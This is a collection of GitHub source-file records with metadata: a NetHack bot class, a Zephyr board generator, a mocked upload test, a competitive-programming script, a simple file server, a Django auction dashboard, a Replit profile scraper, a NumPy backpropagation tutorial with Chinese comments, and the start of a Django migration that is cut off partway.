+{"seq_id":"4316581863","text":"from nethack_raph.Branch import Branch\nfrom nethack_raph.myconstants import DUNGEON_WIDTH\nfrom nethack_raph.myconstants import WHEREIS_MINES, WHEREIS_GEHENNOM\n\n\nclass Dungeon:\n    def __init__(self, kernel):\n        self.kernel = kernel\n        self.branches = [\n            Branch(\"Main\", kernel),\n            Branch(\"Mines\", kernel),\n            Branch(\"Sokoban\", kernel),\n            Branch(\"Quest\", kernel),\n            Branch(\"Gehennom\", kernel),\n            Branch(\"Planes\", kernel),\n            Branch(\"Unknown\", kernel)\n        ]\n        self.curBranch = None\n        self.dlvl = -1\n\n    def tile(self, y, x):\n        return self.curBranch.curLevel.tiles[x + y * DUNGEON_WIDTH]\n\n    def update(self, chars, glyphs):\n        if not self.curBranch or self.curBranch.curLevel.dlvl != self.dlvl:\n            self.curBranch = self.guessBranch()\n\n        self.curBranch.update(chars, glyphs)\n\n    def guessBranch(self):\n        if self.dlvl < 2 or (self.dlvl > WHEREIS_MINES[-1] and self.dlvl < WHEREIS_GEHENNOM[0]):\n            return [branch for branch in self.branches if branch.name == \"Main\"][0]\n        else:\n            return [branch for branch in self.branches if branch.name == \"Unknown\"][0]\n","repo_name":"dmitrySorokin/raph","sub_path":"nethack_raph/Dungeon.py","file_name":"Dungeon.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"22276931601","text":"'''\nCreated on Sep 18, 2021\n\n@author: mballance\n'''\nimport os\nimport shutil\nfrom zephyr_cosim import get_share\nfrom vte.template_info import TemplateInfo\nfrom vte.template_engine import TemplateEngine\n\n\ndef gen_board(args):\n    \n    board_template_dir = os.path.join(get_share(), \"board\")\n    \n    if args.o is None:\n        args.o = os.path.join(\n            os.getcwd(),\n            \"zephyr\",\n            \"boards\",\n            \"posix\",\n            args.name)\n\n    if os.path.isdir(args.o):\n        if not args.force:\n            raise Exception(\"Output directory %s exists\" % args.o)\n        else:\n            print(\"Note: removing existing output directory %s\" % args.o)\n            shutil.rmtree(args.o)\n\n    if not os.path.isdir(args.o):\n        os.makedirs(args.o)\n        \n    # Load up template information\n    template = TemplateInfo.mk(\"zephyr.cosim.board\", \n                               os.path.join(board_template_dir, \".vte\"))\n    TemplateEngine(template, args.o).generate(args.name, {})\n    \n        \n    pass","repo_name":"zephyr-dv/zephyr-cosim","sub_path":"src/zephyr_cosim/cmd_gen_board.py","file_name":"cmd_gen_board.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"29258468907","text":"from yatest.common import source_path, build_path\nimport gzip\nimport mock\nimport os\nimport re\nimport shutil\n\nimport maps.jams.tools.tie_xml_jams.pylib.tie_xml_jams as test_module\n\n\ndef test_tie_upload(ytc):\n    test_module.CONVERT_BINARY_PATH = build_path('maps/jams/tools/tie-xml-jams/bin/convert/convert')\n    with mock.patch.multiple(\n        'maps.jams.tools.tie_xml_jams.pylib.tie_xml_jams.ecstatic',\n        upload=mock.DEFAULT,\n        init_logging=mock.DEFAULT,\n    ) as m:\n        with mock.patch.multiple(\n            'maps.jams.tools.tie_xml_jams.pylib.tie_xml_jams',\n            download=mock.DEFAULT,\n            now_version=mock.DEFAULT,\n            binary_log_sink=mock.DEFAULT,\n        ) as t:\n            def mock_download(server, user, password, file, dest):\n                with open(source_path('maps/jams/tools/tie-xml-jams/tests/data/jams.xml'), 'rb') as src:\n                    with gzip.open(dest, 'wb') as dst:\n                        shutil.copyfileobj(src, dst)\n\n            def mock_upload(directory, *args, **kwargs):\n                assert os.listdir(directory) == [test_module.JAMS_FILE_NAME]\n\n            def mock_binary_log_sink(binary_name, binary_stderr):\n                banned_polylines_count = 0\n                for l in binary_stderr.read().splitlines():\n                    matched_obj = re.search(rb\"Banned edges: (\\d+)\", l)\n                    if matched_obj is not None:\n                        banned_polylines_count += int(matched_obj.group(1))\n                    test_module.logger.getChild(binary_name).info(l)\n                assert banned_polylines_count != 0\n\n            t['download'].side_effect = mock_download\n            t['now_version'].return_value = 'test-version'\n            t['binary_log_sink'].side_effect = mock_binary_log_sink\n            m['upload'].side_effect = mock_upload\n            test_module.run(\n                'ftp.server.com', 'user', 'password', 'jams.xml.gz',\n                regions=[213], max_category=5,\n                ban_list=source_path('maps/jams/tools/tie-xml-jams/tests/data/ban.yson'),\n                in_dataset_dir='dataset',\n                yt_context=ytc,\n                downloaded_graph_folder=\"graph_folder\"\n            )\n\n            t['download'].assert_called_once_with(\n                server='ftp.server.com',\n                user='user',\n                password='password',\n                file='jams.xml.gz',\n                dest=mock.ANY,\n            )\n            m['init_logging'].assert_called_once_with(test_module.PACKAGE_NAME, file=None)\n            m['upload'].assert_called_once_with(\n                directory=mock.ANY,\n                dataset_name=test_module.EXTERNAL_JAMS_DATASET_NAME,\n                dataset_version='test-version',\n                branch='stable',\n            )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tie_upload_test/tie_upload_test.py","file_name":"tie_upload_test.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9899609454","text":"\n# prime=[2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223]\nimport math as mt\ndef largestFact(x):\n    if x==1:\n        return 1\n    if x==2:\n        return 1\n    # for num in prime:\n    #     if x==num:\n    #         return 1\n    #         break\n    #     elif x%num==0:\n    #         return x//num\n    #         break\n    # return 1\n    #  flag=1\n    #     for i in range(2, mt.ceil(mt.sqrt(M))+1):\n    #         if (M%i==0):\n    #             flag=0\n    #             break\n    #     if flag:\n    #         L.append(1)\n    #         M=1\n    #     else:\n    for i in reversed(range(1,(x//2)+1)):\n        # print(i)\n        if x%i==0:\n            # print(i)\n            x=i\n            break\n\n    return x\n\nm=2\nn=4\n# m,n=map(int,input().split())\nM=m\nN=n\nL=list()\nif n==m:\n    print(0)\nelse:\n    while M!=1:\n        flag=1\n        for i in range(2, mt.ceil(mt.sqrt(M))+1):\n            if (M%i==0):\n                flag=0\n                break\n        if flag:\n            L.append(1)\n            M=1\n        else:\n            M=largestFact(M)\n            L.append(M)\n        \n\n    while N!=1:\n        flag2=1\n        for i in range(2, mt.ceil(mt.sqrt(N))):\n            if (N%i==0):\n                flag2=0\n                break\n        if flag2:\n            L.append(1)\n            N=1\n        else:\n            N=largestFact(N)\n            L.append(N)\n        \n\n    # print(L)\n    L.sort()\n    L.reverse()\n    S=set(L)\n    # print(L)\n    hh=0\n    # print(S)\n    check= False\n    dic={}\n    for k in L:\n        dic[k]=dic.get(k,0)+1\n    for x in dic:\n        if dic.get(x)>1 and x>1:\n            check=True\n            hh=x\n            break\n    # print(dic)\n    # print(hh)\n   \n    if m in S:\n        count=0\n        for num in L:\n            count+=1\n            if num==m:\n                break\n        print(count)\n    elif n in S:\n        count=0\n        for num in L:\n            count+=1\n            if num==n:\n                break\n        print(count)\n    elif check:\n        count=0\n        for num in L:\n            count+=1\n            if num==hh:\n                count+=1\n                break\n        print(count)\n    else:\n        print(len(L))\n# temp=0\n# for x in dic:\n#     if dic.get(x)==1:\n#         temp+=1\n\n# print(temp+2)\n        \n\n        \n       \n\n","repo_name":"NavalPangtey/Competitive-programming","sub_path":"python/algo/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70580811602","text":"# -*- coding: UTF-8 -*-\nimport re as regex\nfrom os import listdir\nfrom os import path as ospath\nfrom mimetypes import MimeTypes\n\n\"\"\"\n    Mapa constante de definição para tipos de arquivos\n\"\"\"\nfile_type = {\n    'jpg': {\n        'read_type': 'rb',\n        'mime_type': 'image/jpg'\n    },\n    'jpeg': {\n        'read_type': 'rb',\n        'mime_type': 'image/jpeg'\n    },\n    'gif': {\n        'read_type': 'rb',\n        'mime_type': 'image/gif'\n    },\n    'html': {\n        'read_type': 'r',\n        'mime_type': 'text/html; encoding=utf8'\n    },\n    'log': {\n        'read_type': 'r',\n        'mime_type': 'text/html; encoding=utf8',\n        'isLog': True\n    },\n    'htm': {\n        'read_type': 'r',\n        'mime_type': 'text/htm; encoding=utf8'\n    },\n    'ico': {\n        'read_type': 'rb',\n        'mime_type': 'image/x-icon'\n    },\n    'css': {\n        'read_type': 'r',\n        'mime_type': 'text/css; encoding=utf8'\n    },\n    'js': {\n        'read_type': 'r',\n        'mime_type': 'text/js; encoding=utf8'\n    },\n    'default': {\n        'read_type': 'rb',\n        'mime_type': 'application/octet­stream'\n    }\n\n}\n\n\nclass File(object):\n    def __init__(self, path, serve_directory):\n        # Append para servir do diretório para baixo\n        path = './www/' + path\n        path = regex.sub(r\"/+\", \"/\", path)\n        self.__is_directory = ospath.isdir(path)\n        self.__serve_directory = serve_directory\n        # Caso a opção não servimos direórios servimos um index.html\n        if self.__is_directory:\n            if not serve_directory:\n                path += 'index.html'\n            elif not path.endswith('/'):\n                path += '/'\n\n        self.__path = path\n        # Caso aceite o tipo de arquivo mime type correto e o tipo de leitura, se não cai no padrão octet-stream\n        try:\n            self.__file_type = file_type[self.__extract_extension()]\n        except KeyError:\n            self.__file_type = file_type['default']\n\n    @property\n    def content(self):\n        if self.__is_directory and self.__serve_directory:\n            return self.mount_directory_list()\n        else:\n            file = open(self.__path, self.__file_type['read_type'])\n            content = file.read()\n            file.close()\n            if self.__file_type == file_type['log']:\n                parcial_content = content\n                content = '<ul>'\n                for linha in parcial_content.split('\\n'):\n                    content = content + '<li>' + linha + '</li>'\n                content += '</ul>'\n            return content\n\n    @property\n    def mime_type(self):\n        if self.__file_type == file_type['default']:\n            mime = MimeTypes()\n            guessed = mime.guess_type(self.__path)\n            if guessed[0] is not None:\n                return guessed[0]\n        return self.__file_type['mime_type']\n\n    def __extract_extension(self):\n        split = self.__path.split('.')\n        return split[len(split) - 1]\n\n    # Montamos um html com uma lista de arquivos e diretórios do path\n    def mount_directory_list(self):\n        list = listdir(self.__path)\n        self.__file_type = file_type['html']\n        hidden_item = '<li hidden></li>'\n        path = self.__path\n        list_item = '<li><a href=\"%s\">%s</li>' + hidden_item\n        content = '<!DOCTYPE html><html><head><meta charset=\"utf-8\"><title>Arquivos em: [%s]</title></head><body><h1>Lista de arquivos:</h1><ul>%s</ul></body></html>' % (\n            self.__path[5:], hidden_item)\n        for item in list:\n            add = ''\n            if ospath.isdir(path + '/' + item):\n                add = '/'\n            content = content.replace(hidden_item, list_item % (path[5:] + item, item + add))\n        return content\n","repo_name":"carlosmuller/httpserver","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39724400717","text":"from rest_framework.generics import RetrieveAPIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_200_OK, HTTP_400_BAD_REQUEST\nfrom products.models import Product\nfrom bids.models import Bid\nfrom datetime import datetime, timezone\nfrom django.db.models import F, Count, ExpressionWrapper, DecimalField\nfrom products.serializers import ProductReadSerializer\nfrom bids.serializers import UserBidReadSerializer\n\n\nclass DashboardRetrieveView(RetrieveAPIView):\n    permission_classes = [IsAuthenticated]\n\n    @action(methods=[\"GET\"], detail=False)\n    def retrieve(self, request):\n        user = request.user\n\n        # Ongoing auctions\n        ongoing_auctions = self.get_ongoing_auctions(user=user)\n        top_ongoing_auctions = ProductReadSerializer(\n            ongoing_auctions[:5], many=True, context={\"request\": request}\n        ).data\n        ongoing_auctions_count = ongoing_auctions.count()\n\n        # Completed auctions\n        completed_auctions = self.get_completed_auctions(user=user)\n        completed_auctions_count = completed_auctions.count()\n\n        # Pending bids\n        pending_bids = self.get_pending_bids(user=user)\n        top_pending_bids = UserBidReadSerializer(\n            pending_bids[:5], many=True, context={\"request\": request}\n        ).data\n        pending_bids_count = pending_bids.count()\n\n        # Successful bids\n        successful_bids = self.get_successful_bids(user=user)\n        successful_bids_count = successful_bids.count()\n\n        # Category counts\n        category_counts = self.get_category_counts(user=user)\n\n        return Response(\n            data={\n                \"stats\": {\n                    \"ongoing_auctions_count\": ongoing_auctions_count,\n                    \"completed_auctions_count\": completed_auctions_count,\n                    \"pending_bids_count\": pending_bids_count,\n                    \"successful_bids_count\": successful_bids_count,\n                },\n                \"top_ongoing_auctions\": top_ongoing_auctions,\n                \"top_pending_bids\": top_pending_bids,\n                \"category_counts\": category_counts,\n            },\n            status=HTTP_200_OK,\n        )\n\n    def get_ongoing_auctions(self, user):\n        return Product.objects.filter(\n            creator=user, valid_till__gte=datetime.now(tz=timezone.utc)\n        ).order_by(\"valid_till\")\n\n    def get_completed_auctions(self, user):\n        return Product.objects.filter(creator=user, is_sold=True)\n\n    def get_pending_bids(self, user):\n        return Bid.objects.select_related(\"product\").filter(\n            bidder=user, product__valid_till__gte=datetime.now(tz=timezone.utc)\n        )\n\n    def get_successful_bids(self, user):\n        successful_bids = Bid.objects.select_related(\"product\").filter(\n            bidder=user,\n            product__is_sold=True,\n        )\n\n        ids = [\n            b.id\n            for b in successful_bids.all()\n            if b.product.highest_bid != None and b.product.highest_bid.bidder == user\n        ]\n\n        successful_bids = successful_bids.filter(pk__in=ids)\n\n        return successful_bids\n\n    def get_category_counts(self, user):\n        products = Product.objects.filter(creator=user)\n        total_product_count = products.count()\n        category_counts = products.values(\"category__id\", \"category__title\").annotate(\n            product_count=Count(\"id\"),\n            category_percentage=ExpressionWrapper(\n                F(\"product_count\") * 100 / total_product_count,\n                output_field=DecimalField(max_digits=5, decimal_places=2),\n            ),\n        )\n        return category_counts\n","repo_name":"daniyalaamir110/auctionwave","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27588317848","text":"from bs4 import BeautifulSoup\n\nfrom apps.scraper.base_model import Platform\n\n\nclass Replit(Platform):\n    def __init__(self, *args, **kwargs):\n        super().__init__(\"Replit.com\", *args, **kwargs)\n\n    def parse_response(self, username, response):\n        try:\n            soup = BeautifulSoup(response, \"html.parser\")\n            full_name_element = soup.find(\"div\", class_=\"css-fx43vb\")\n            full_name = full_name_element.find(\"h1\", class_=\"css-1iqbb3j\").text.strip() if full_name_element else None\n            follower_count = None\n            following_count = None\n            stats_element = soup.find(\"div\", class_=\"css-1mcxwcz\")\n            res = []\n            if stats_element:\n                res = [\n                    self.numberize((span.text.strip().split() or [0])[0])\n                    for span in stats_element.find_all(\"span\", class_=\"css-10z1dta\")\n                ]\n            if len(res) == 2:\n                follower_count, following_count = res\n            avatar_element = soup.find(\"meta\", property=\"og:image\")\n            avatar = avatar_element.get(\"content\") if avatar_element else None\n            return {\n                \"name\": full_name,\n                \"avatar\": avatar,\n                \"follower_count\": follower_count,\n                \"following_count\": following_count\n            }\n        except AttributeError:\n            self.logger.warning('Some elements not found for user.', extra={\"username\": username})\n            return None\n","repo_name":"twinstarhub/profile-search-engine","sub_path":"apps/scraper/manual/replit.py","file_name":"replit.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42262504491","text":"from sklearn import datasets, model_selection\nimport numpy as np\n\n# 导入数据\ndef load_data(N_SAMPLES=2000, TEST_SIZE=0.3):\n\n    ###### 7.9.1 数据集\n    # - 这里通过 scikit-learn 库提供的便捷工具生成 2000 个线性不可分的 2 分类数据集数据的特征长度为 2\n    # - 所有的红色点为一类，所有的蓝色点为一类\n    # - 可以看到每个类别数据的分布呈月牙状，并且是是线性不可分的，无法用线性网络获得较好效果。\n    # - 我们按着7: 3比例切分训练集和测试集，其中2000 ∙ 0 3 = 600个样本点用于测试，不参与训练，剩下的 1400 个点用于网络的训练\n\n    # 1. 数据集的采集直接使用 scikit-learn 提供的 make_moons 函数生成，设置采样点数和切割比率\n\n    # 利用工具函数直接生成数据集\n    # make_moons是函数用来生成数据集\n    # 画两个相互交错的半圆。\n    X, y = datasets.make_moons(n_samples=N_SAMPLES, noise=0.2, random_state=100)\n\n    # 2. 可以通过如下可视化代码绘制数据集的分布\n    # 调用 make_plot 函数绘制数据的分布，其中 X 为 2D 坐标，y 为标签\n    make_plot(X, y, plot_name=\"分类数据集的可视化\")\n    # 将 2000 个点按着 7:3 分割为训练集和测试集\n    # model_selection.train_test_split\n    # 将数组或矩阵分割成随机序列和测试子集。\n    X_train, X_test, y_train, y_test = model_selection.train_test_split(\n        X, y, test_size=TEST_SIZE, random_state=42\n    )\n    return X_train, X_test, y_train, y_test\n\n\n# 显示训练情况\ndef plot_history(history):\n    import matplotlib.pyplot as plt\n\n    hist = history\n    plt.figure()\n    plt.xlabel(\"Num of Epochs\")\n    plt.ylabel(\"value\")\n    plt.plot(hist[\"epoch\"], hist[\"MSE\"], label=\"MSE\")\n    # plt.plot(hist[\"epoch\"], hist[\"val_loss\"], label=\"val_loss\")\n    plt.plot(hist[\"epoch\"], hist[\"accuracy\"], label=\"accuracy\")\n    # plt.plot(hist[\"epoch\"], hist[\"val_accuracy\"], label=\"val_accuracy\")\n    plt.ylim([0, 1])\n    plt.legend()\n    plt.show()\n\n\n# 绘制数据集的分布，X 为 2D 坐标，y 为数据点的标签\ndef make_plot(\n    X, y, plot_name, file_name=None, XX=None, YY=None, preds=None, dark=False\n):\n    from matplotlib import pyplot as plt\n    import seaborn as sns\n\n    # matplotlib其实是不支持显示中文的 显示中文需要一行代码设置字体\n    # 解决坐标轴负数的负号显示问题\n    plt.rcParams[\"axes.unicode_minus\"] = False\n\n    if dark:\n        plt.style.use(\"dark_background\")\n    else:\n        # sns = seaborn\n        # seaborn是python中的一个可视化库，是对matplotlib进行二次封装而成\n        sns.set_style(\"whitegrid\")\n    plt.figure(figsize=(8, 6))\n    axes = plt.gca()\n    # Matplotlib.axes.Axes.set()\n    # 设置xlabel，ylabel ，xlim ，ylim 和 title等\n    axes.set(xlabel=\"$x_1$\", ylabel=\"$x_2$\")\n    plt.title(plot_name, fontsize=15, fontproperties=\"SimHei\")\n    # 图像的边界位置调整\n    plt.subplots_adjust(left=0.20)\n    plt.subplots_adjust(right=0.80)\n    if XX is not None and YY is not None and preds is not None:\n        # contour和contourf都是画三维等高线图的，不同点在于contourf会对等高线间的区域进行填充\n        # cm.Spectral = 光谱颜色图\n        plt.contourf(XX, YY, preds.reshape(XX.shape), 25, alpha=1, cmap=cm.Spectral)\n        plt.contour(\n            XX,\n            YY,\n            preds.reshape(XX.shape),\n            levels=[0.5],\n            cmap=\"Greys\",\n            vmin=0,\n            vmax=0.6,\n        )\n    # 绘制散点图，根据标���区分颜色\n    plt.scatter(\n        X[:, 0], X[:, 1], c=y.ravel(), s=40, cmap=plt.cm.Spectral, edgecolors=\"none\"\n    )\n    # SVG是一种图形文件格式，它的英文全称为Scalable Vector Graphics，意思为可缩放的矢量图形\n    plt.savefig(\"dataset.jpg\")\n    # plt.show()\n    plt.close()\n\n\n# ###### 7.9.2 网络层\n# 1. 通过新建类 Layer 实现一个网络层\n# - 通过新建类 Layer 实现一个网络层，需要传入网络层的输入节点数、输出节点数、激活函数类型等参数，\n# - 权值 weights 和偏置张量 bias 在初始化时根据输入、输出节点数自动生成并初始化。\nclass Layer:\n    # 1.全连接网络层\n    def __init__(self, n_input, n_neurons, activation=None, weights=None, bias=None):\n        \"\"\"\n        :param int n_input: 输入节点数\n        :param int n_neurons: 输出节点数\n        :param str activation: 激活函数类型\n        :param weights: 权值张量，默认类内部生成\n        :param bias: 偏置，默认类内部生成\n        \"\"\"\n        # 通过正态分布初始化网络权值，初始化非常重要，不合适的初始化将导致网络不收敛\n        self.weights = (\n            weights\n            if weights is not None\n            else np.random.randn(n_input, n_neurons) * np.sqrt(1 / n_neurons)\n        )\n        self.bias = bias if bias is not None else np.random.rand(n_neurons) * 0.1\n        # 激活函数类型，如’sigmoid’\n        self.activation = activation\n        # 激活函数的输出值 o\n        self.last_activation = None\n        # 用于计算当前层的 delta 变量的中间变量\n        self.error = None\n        # 记录当前层的 delta 变量，用于计算梯度\n        self.delta = None\n        pass\n\n    # 2.网络层的前向传播函数实现如下，其中 last_activation 变量用于保存当前层的输出值\n    def activate(self, x):\n        # 前向传播函数\n        r = np.dot(x, self.weights) + self.bias  # X@W+b\n        # 通过激活函数，得到全连接层的输出 o\n        self.last_activation = self._apply_activation(r)\n        return self.last_activation\n\n    # 3. 上述代码中的 self._apply_activation 函数实现了不同类型的激活函数的前向计算过程，\n    # 尽管此处我们只使用 Sigmoid 激活函数一种\n    def _apply_activation(self, r):\n        # 计算激活函数的输出\n        if self.activation is None:\n            return r  # 无激活函数，直接返回\n        # ReLU 激活函数\n        elif self.activation == \"relu\":\n            return np.maximum(r, 0)\n        # tanh 激活函数\n        elif self.activation == \"tanh\":\n            return np.tanh(r)\n        # sigmoid 激活函数\n        elif self.activation == \"sigmoid\":\n            return 1 / (1 + np.exp(-r))\n        return r\n\n    # 4. 针对于不同类型的激活函数，它们的导数计算实现如下\n    def apply_activation_derivative(self, r):\n        # 计算激活函数的导数\n        # 无激活函数，导数为 1\n        if self.activation is None:\n            return np.ones_like(r)\n        # ReLU 函数的导数实现\n        elif self.activation == \"relu\":\n            grad = np.array(r, copy=True)\n            grad[r > 0] = 1.0\n            grad[r <= 0] = 0.0\n            return grad\n        # tanh 函数的导数实现\n        elif self.activation == \"tanh\":\n            return 1 - r**2\n        # Sigmoid 函数的导数实现\n        # 5. 可以看到，Sigmoid 函数的导数实现为𝑟 (1 − 𝑟)，其中𝑟即为𝜎(𝑧)\n        elif self.activation == \"sigmoid\":\n            return r * (1 - r)\n        return r\n\n\n###### 7.9.3 网络模型\n# 1. 创建单层网络类后，我们实现网络模型的 NeuralNetwork 类\n# - 它内部维护各层的网络层 Layer 类对象\n# - 可以通过 add_layer 函数追加网络层，实现创建不同结构的网络模型目的\nclass NeuralNetwork:\n    # 神经网络模型大类\n    def __init__(self):\n        # 网络层对象列表\n        # __foo__：一种约定，Python内部的名字，用来区别其他用户自定义的命名，以防冲突。\n        # _foo：一种约定，用来指定变量私有。程序员用来指定私有变量的一种方式。\n        # __foo：这个有真正的意义：解析器用_classname__foo来代替这个名字，以区别和其他类相同的命名。\n        # _layers用来指定变量私有\n        self._layers = []\n\n    # 追加网络层\n    def add_layer(self, layer):\n        self._layers.append(layer)\n\n    # 2. 网络的前向传播只需要循环调各个网络层对象的前向计算函数即可\n    # 前向传播\n    def feed_forward(self, X):\n        for layer in self._layers:\n            # 依次通过各个网络层\n            X = layer.activate(X)\n        return X\n\n    # 4. 网络模型的反向传播实现稍复杂，需要从最末层开始，计算每层的𝛿变量，\n    # 然后根据推导出的梯度公式，将计算出的𝛿变量存储在 Layer 类的 delta 变量中\n    def backpropagation(self, X, y, learning_rate):\n        # 反向传播算法实现\n        # 前向计算，得到输出值\n        output = self.feed_forward(X)\n        # 反向循环\n        # TODO 可以简化 i = 3 2 1 0\n        for i in reversed(range(len(self._layers))):\n            # 得到当前层对象\n            layer = self._layers[i]\n            # 如果是输出层\n            if layer == self._layers[-1]:\n                # 计算二分类任务的均方差的导数\n                layer.error = y - output\n                # 关键步骤：计算最后一层的 delta，参考输出层的梯度公式\n                # 参见7.9 梯度示意图\n                layer.delta = layer.error * layer.apply_activation_derivative(output)\n            # 如果是隐藏层\n            else:\n                # 得到下一层对象\n                next_layer = self._layers[i + 1]\n                layer.error = np.dot(next_layer.weights, next_layer.delta)\n                # 关键步骤：计算隐藏层的 delta，参考隐藏层的梯度公式\n                # 参见7.9 梯度示意图\n                layer.delta = layer.error * layer.apply_activation_derivative(\n                    layer.last_activation\n                )\n        # 5. 在反向计算完每层的𝛿变量后，只需要按着𝜕ℒ/𝜕𝑤𝑖 = 𝑜𝑖𝛿j公式计算每层参数的梯度并更新网络参数即可\n        # 循环更新权值\n        for i in range(len(self._layers)):\n            layer = self._layers[i]\n            # o_i 为上一网络层的输出\n            o_i = np.atleast_2d(X if i == 0 else self._layers[i - 1].last_activation)\n            # 梯度下降算法，delta 是公式中的负数，故这里用加号\n            layer.weights += layer.delta * o_i.T * learning_rate\n        # 6. 因此，在 backpropagation 函数中，反向计算每层的𝛿变量，并根据梯度公式计算每层参数的梯度值，按着梯度下降算法完成一次参数的更新。\n\n    # ###### 7.9.4 网络训练\n    # 1. 这里的二分类任务网络设计为两个输出节点，因此需要将真实标签𝑦进行 One-hot 编码\n    # 网络训练函数\n    def train(self, X_train, X_test, y_train, y_test, learning_rate, max_epochs):\n        # one-hot 编码\n        # numpy索引多维数组\n        # 即np.arange(y_train.shape[0])为行坐标，y_train为列坐标\n        # 参考：https://www.numpy.org.cn/user/basics/indexing.html#%E7%B4%A2%E5%BC%95%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84\n        y_onehot = np.zeros((y_train.shape[0], 2))\n        y_onehot[np.arange(y_train.shape[0]), y_train] = 1\n        # 2. 将 One-hot 编码后的真实标签与网络的输出计算均方误差并调用反向传播函数更新网络参数\n        # - 循环迭代训练集 1000 遍即可\n        mses = []\n        # 记录训练历史\n        history = {\n            \"epoch\": [],\n            \"accuracy\": [],\n            \"MSE\": [],\n        }\n        # 训练 max_epochs 个 epoch\n        for i in range(max_epochs):\n            # 一次训练一个样本\n            for j in range(len(X_train)):\n                self.backpropagation(X_train[j], y_onehot[j], learning_rate)\n            if i % 10 == 0:\n                # 打印出 MSE Loss\n                mse = np.mean(np.square(y_onehot - self.feed_forward(X_train)))\n                mses.append(mse)\n                print(\"Epoch: #%s, MSE: %f\" % (i, float(mse)))\n\n                acc = self.accuracy(self.predict(X_test), y_test.flatten())\n                history[\"epoch\"].append(i)\n                history[\"accuracy\"].append(acc)\n                history[\"MSE\"].append(float(mse))\n\n                # 统计并打印准确率\n                print(\"Accuracy: %.2f%%\" % (acc * 100))\n        plot_history(history)\n        return mses\n\n    # 准确率\n    def accuracy(self, pred, y):\n        out = np.equal(pred, y, dtype=np.float32)\n        correct = np.sum(out)\n        return correct / len(out)\n\n    # 进行预测（即前向传播）\n    def predict(self, X_test):\n        output = self.feed_forward(X_test)\n        # return [int(np.where(elem == np.max(elem))[0]) for elem in output]\n        return np.argmax(output, axis=1)\n\n\nif __name__ == \"__main__\":\n    # #### 7.9 反向传播算法实战\n    # - 我们将实现一个 4 层的全连接网络，来完成二分类任务。\n    # - 网络输入节点数为 2，隐藏层的节点数设计为：25、50和25\n    # - 输出层两个节点，分别表示属于类别 1 的概率和类别 2的概率\n    # - 直接利用均方误差函数计算与 One-hot 编码的真实标签之间的误差\n    # - 所有的网络激活函数全部采用 Sigmoid 函数\n\n    # 1. 导入数据\n    # 采样点数\n    N_SAMPLES = 2000\n    # 测试数量比率\n    TEST_SIZE = 0.3\n    X_train, X_test, y_train, y_test = load_data(\n        N_SAMPLES=N_SAMPLES, TEST_SIZE=TEST_SIZE\n    )\n\n    # 3. 根据网络结构配置，利用 NeuralNetwork 类创建网络对象，并添加 4 层全连接层\n    # 实例化网络类\n    network = NeuralNetwork()\n    # 隐藏层 1, 2=>25\n    network.add_layer(Layer(2, 25, \"sigmoid\"))\n    # 隐藏层 2, 25=>50\n    network.add_layer(Layer(25, 50, \"sigmoid\"))\n    # 隐藏层 3, 50=>25\n    network.add_layer(Layer(50, 25, \"sigmoid\"))\n    # 输出层, 25=>2\n    network.add_layer(Layer(25, 2, \"sigmoid\"))\n\n    network.train(X_train, X_test, y_train, y_test, learning_rate=0.001, max_epochs=360)\n\n    # ###### 7.9.5 网络性能\n    # - self.accuracy\n    # - 完整运行\n    # 1. 我们将每个 Epoch 的训练损失ℒ值记录下，并绘制为曲线\n\n    # 2. 在训练完 1000 个 Epoch 后，在测试集 600 个样本上得到的准确率为\n    # 3. 在每个 Epoch 中，我们在测试集上完成一次准确度测试，并绘制成曲线\n    # - 可以看到，随着 Epoch 的进行，模型的准确率稳步提升，开始阶段提升较快，后续提升较为平缓。\n\n    pass\n","repo_name":"TimVan1596/ACM-ICPC","sub_path":"python/deep_learning/TensorFlow/7.9 反向传播算法实战.py","file_name":"7.9 反向传播算法实战.py","file_ext":"py","file_size_in_byte":14570,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28229673113","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('submission', '0004_submissioninternational_best_placement'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='submissioninternational',\n            name='best_placement',\n            field=models.CharField(\n                help_text=\n                b'Beste Platzierung auf einer deutschen DBFV/IFBB-Meisterschaft, mit Datum und Kategorie',\n                max_length=150,\n                verbose_name='Beste Platzierung'\n            ),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='submissioninternational',\n            name='category',\n            field=models.CharField(\n                max_length=2,\n                verbose_name='Kategorie',\n                choices=[\n                    (b'1', 'Jugend-Bikini-Fitness'), (b'2', 'Jugend-Mens Physique'),\n                    (b'3', 'Jugend-Bodybuilding'), (b'4', 'Junioren-Bikini-Fitness'),\n                    (b'5', 'Junioren-Mens Physique'), (b'6', 'Junioren-Bodybuilding'),\n                    (b'7', 'Frauen-Bikini-Fitness'), (b'8', 'Frauen-Fitness-Figur'),\n                    (b'9', 'Frauen-Physique'), (b'10', 'Paare'), 